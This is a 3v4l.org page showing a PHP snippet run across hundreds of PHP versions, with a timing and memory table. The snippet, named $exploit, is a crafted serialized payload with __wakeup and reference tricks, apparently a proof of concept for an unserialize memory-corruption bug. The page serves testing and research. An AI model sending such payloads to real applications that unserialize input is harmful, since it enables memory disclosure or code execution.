3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exceptioa":1:{s:17:"'."\0".'Exception'."\0".'string";a:0:{}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0070.00718.30
8.3.60.0110.01116.50
8.3.50.0120.01121.07
8.3.40.0100.01018.82
8.3.30.0000.01518.83
8.3.20.0040.00420.29
8.3.10.0030.00523.48
8.3.00.0000.00819.69
8.2.180.0100.00718.41
8.2.170.0140.00722.96
8.2.160.0070.00720.52
8.2.150.0040.00424.18
8.2.140.0070.00024.66
8.2.130.0080.00026.16
8.2.120.0080.00017.63
8.2.110.0040.00720.92
8.2.100.0110.00017.72
8.2.90.0040.00417.91
8.2.80.0030.00618.03
8.2.70.0050.00317.50
8.2.60.0050.00317.80
8.2.50.0000.00818.07
8.2.40.0080.00019.21
8.2.30.0100.00019.88
8.2.20.0000.00817.82
8.2.10.0070.00018.10
8.2.00.0030.00518.08
8.1.280.0070.01325.92
8.1.270.0030.00520.33
8.1.260.0030.00726.35
8.1.250.0080.00028.09
8.1.240.0090.00622.66
8.1.230.0040.00720.85
8.1.220.0040.00717.76
8.1.210.0000.00818.86
8.1.200.0050.00517.24
8.1.190.0080.00017.35
8.1.180.0030.00618.10
8.1.170.0000.00818.34
8.1.160.0070.00021.97
8.1.150.0000.00718.90
8.1.140.0040.00417.47
8.1.130.0000.00717.62
8.1.120.0020.00517.37
8.1.110.0000.00717.40
8.1.100.0040.00417.42
8.1.90.0000.00717.44
8.1.80.0000.00817.41
8.1.70.0030.00317.36
8.1.60.0070.00017.52
8.1.50.0000.00717.59
8.1.40.0040.00417.52
8.1.30.0040.00417.68
8.1.20.0040.00417.75
8.1.10.0030.00617.60
8.1.00.0000.00817.53
8.0.300.0030.00620.01
8.0.290.0030.00516.75
8.0.280.0000.00718.38
8.0.270.0000.00717.16
8.0.260.0030.00717.35
8.0.250.0050.00316.92
8.0.240.0030.00317.02
8.0.230.0020.00517.01
8.0.220.0070.00316.95
8.0.210.0070.00016.96
8.0.200.0060.00017.09
8.0.190.0040.00416.93
8.0.180.0050.00317.06
8.0.170.0040.00416.88
8.0.160.0040.00416.95
8.0.150.0070.00016.99
8.0.140.0030.00516.96
8.0.130.0060.00013.45
8.0.120.0000.00816.83
8.0.110.0000.00716.98
8.0.100.0000.00716.98
8.0.90.0070.00016.81
8.0.80.0040.01116.88
8.0.70.0030.00516.94
8.0.60.0000.00716.79
8.0.50.0000.00816.91
8.0.30.0060.01316.98
8.0.20.0130.00917.40
8.0.10.0000.00717.09
8.0.00.0100.00716.80
7.4.330.0030.00315.08
7.4.320.0000.00616.37
7.4.300.0000.00616.67
7.4.290.0030.00516.53
7.4.280.0040.00416.51
7.4.270.0040.00416.58
7.4.260.0090.00316.55
7.4.250.0040.00416.48
7.4.240.0020.00516.60
7.4.230.0000.00716.53
7.4.220.0100.00716.72
7.4.210.0120.00516.58
7.4.200.0070.00016.46
7.4.160.0060.01216.59
7.4.150.0100.00717.40
7.4.140.0070.01117.86
7.4.130.0000.01716.64
7.4.120.0120.00816.46
7.4.110.0080.01716.55
7.4.100.0180.00016.56
7.4.90.0030.01416.45
7.4.80.0100.00719.39
7.4.70.0110.00716.79
7.4.60.0090.00616.34
7.4.50.0040.00416.35
7.4.40.0110.00616.56
7.4.30.0060.01516.59
7.4.00.0100.00714.87
7.3.330.0030.00313.32
7.3.320.0060.00013.35
7.3.310.0070.00016.27
7.3.300.0030.00316.30
7.3.290.0070.00016.32
7.3.280.0130.00616.40
7.3.270.0070.01117.40
7.3.260.0040.02016.59
7.3.240.0130.00716.46
7.3.230.0090.00916.40
7.3.210.0100.00716.39
7.3.200.0110.01116.35
7.3.190.0070.01016.52
7.3.180.0080.00816.43
7.3.170.0030.01316.41
7.3.160.0130.00316.65
7.2.330.0170.00316.73
7.2.320.0120.00916.64
7.2.310.0070.00716.75
7.2.300.0060.01616.57
7.2.290.0070.01116.56
7.2.60.0000.01317.04
7.2.00.0000.01219.25
7.1.200.0060.00315.86
7.1.100.1200.00016.41
7.1.70.0040.00717.29
7.1.60.0100.01319.27
7.1.50.0070.01816.64
7.1.00.0030.07722.45
7.0.200.0200.00316.33
7.0.60.0100.07719.83
7.0.50.0070.03717.86
7.0.40.0170.04019.96
7.0.30.0230.05320.07
7.0.20.0370.05320.12
7.0.10.0130.07020.11
7.0.00.0070.07020.19
5.6.280.0030.04721.12
5.6.210.0100.07320.50
5.6.200.0030.08718.18
5.6.190.0170.06720.38
5.6.180.0330.06720.47
5.6.170.0230.03320.51
5.6.160.0100.08320.55
5.6.150.0070.08318.16
5.6.140.0070.04018.15
5.6.130.0130.07018.14
5.6.120.0030.08721.02
5.6.110.0100.07021.13
5.6.100.0070.08721.02
5.6.90.0030.04320.97
5.6.80.0070.06720.35
5.6.70.4500.03720.27
5.5.350.0070.08020.44
5.5.340.0000.04018.01
5.5.330.0000.04720.29
5.5.320.0300.04320.29
5.5.310.0370.04320.34
5.5.300.0030.04718.07
5.5.290.0100.06318.05
5.5.280.0070.05020.96
5.5.270.0070.07320.77
5.5.260.0130.08020.63
5.5.250.0070.08020.71
5.5.240.0200.07020.29
5.4.450.0770.08719.37
5.4.440.0630.06319.54
5.4.430.0800.05319.55
5.4.420.0700.07019.36
5.4.410.0670.06319.39
5.4.400.0930.05318.79
5.4.390.0800.06019.21
5.4.380.0970.05018.77
5.4.370.1000.04318.97
5.4.360.0800.04719.35
5.4.350.0730.06719.01
5.4.340.0630.05719.14
5.4.320.0830.05719.34
5.4.310.1030.05319.20
5.4.300.0700.06319.20
5.4.290.0730.06719.34
5.4.280.1000.05018.78
5.4.270.0800.07719.23
5.4.260.0700.05719.23
5.4.250.0570.06019.34
5.4.240.0800.05018.77
5.4.230.0570.06019.13
5.4.220.0870.05319.26
5.4.210.0770.06319.00
5.4.200.0630.06718.89
5.4.190.0800.05019.03
5.4.180.0800.04719.00
5.4.170.0600.05319.08
5.4.160.0470.06719.02
5.4.150.0800.08019.25
5.4.140.0870.06716.34
5.4.130.0830.06316.40
5.4.120.1000.05716.43
5.4.110.0870.06716.57
5.4.100.0770.06016.60
5.4.90.1030.04716.64
5.4.80.0630.05716.56
5.4.70.0200.04316.39
5.4.60.0330.05016.54
5.4.50.0070.06716.43
5.4.40.0000.04716.56
5.4.30.0030.05316.48
5.4.20.0130.04016.42

preferences:
52.03 ms | 401 KiB | 5 Q